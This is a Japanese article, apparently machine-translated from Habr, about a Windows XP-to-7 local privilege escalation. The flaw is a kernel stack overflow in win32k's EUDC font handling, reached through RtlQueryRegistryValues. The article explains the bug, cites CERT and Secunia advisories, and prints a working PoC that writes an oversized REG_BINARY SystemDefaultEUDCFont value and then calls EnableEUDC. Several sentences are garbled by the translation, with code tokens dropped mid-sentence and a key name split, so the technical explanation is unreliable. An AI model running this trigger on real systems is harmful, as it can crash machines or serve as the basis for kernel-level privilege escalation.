新しい脆弱性により、Win7 / VistaでUACをバイパスして特権が昇格される

システムレベルのローカル権限を増加させる興味深い脆弱性が、コードプロジェクト(http://www.codeproject.com/KB/vista-security/uac.aspx)の記事として11月24日に登場しました。 ほんの数時間後、このリソースから削除されましたが、情報はすでにネットワーク全体に広がっていたため、削除することは無意味でした。 XPからVista / Win7までのシステムで権限を増やすことができ、サーバーバージョンも攻撃を受けています。 さらに興味深いことに、この脆弱性はx86システムとx64の両方に関連しています。 確かに、提示されたPoCコードはx86システムでのみ正常に起動されました。




この理由は、WinAPI関数RtlQueryRegistryValues()パラメーターの制御が不十分であるためです。

NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);


この関数は、複数のレジストリパラメータを一度に取得し、 _RTL_QUERY_REGISTRY_TABLE構造体に結果を_RTL_QUERY_REGISTRY_TABLEするために使用されます。

typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;


EntryContextフィールドでは、この構造から出力バッファーのタイプが決定され、ここで興味深いニュアンスがULONGます。バッファーはULONG構造またはULONG値のバッファーとして解釈できます。

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;


このバッファーを埋めることにより、要求が行われたレジストリキーの種類が決定されます。 すべて問題ありませんが、レジストリキーHKCU\EUDC\[Language]\SystemDefaultEUDCFon tが見つかりました。これは、ユーザー権限でのみアクセスでき、 Win32k.sys->NtGdiEnableEudc()呼び出すことでREG_BINARY変更できます。 この関数の操作中、最初のULONG値がバッファー長を解釈するUNICODE_STRING構造として、 REG_SZレジストリ値とバッファーがスタックに配置されると想定されREG_BINARYが、レジストリ値がREG_BINARYとして提示される場合、従来のスタックオーバーフローが発生します。



これらすべてのニュアンスを考慮して、PoC(by noobpwnftw)が開発されました。これは、スタック上の戻りアドレスを上書きするレジストリの値を形成し、カーネルモードのコードで任意のバッファーを実行します。

脆弱性の詳細な説明はこちらにあります。

http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356

d_olexからの代替PoC( オリジナル ):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"

int _tmain( int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];

sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d" , GetACP());

//
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegCreateKey() fails with status %d\n" , Code);
return -1;
}

//
RegDeleteValue(hKey, EUDC_FONT_VAL);

// "SystemDefaultEUDCFont" REG_BINARY
FillMemory(Buff, sizeof (Buff), 'A' );
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);

RegCloseKey(hKey);

if (Code != ERROR_SUCCESS)
{
printf( "ERROR: RegSetValueEx() fails with status %d\n" , Code);
return -1;
}

//
EnableEUDC(TRUE);

return 0;
}

Source: https://habr.com/ru/post/J108903/


All Articles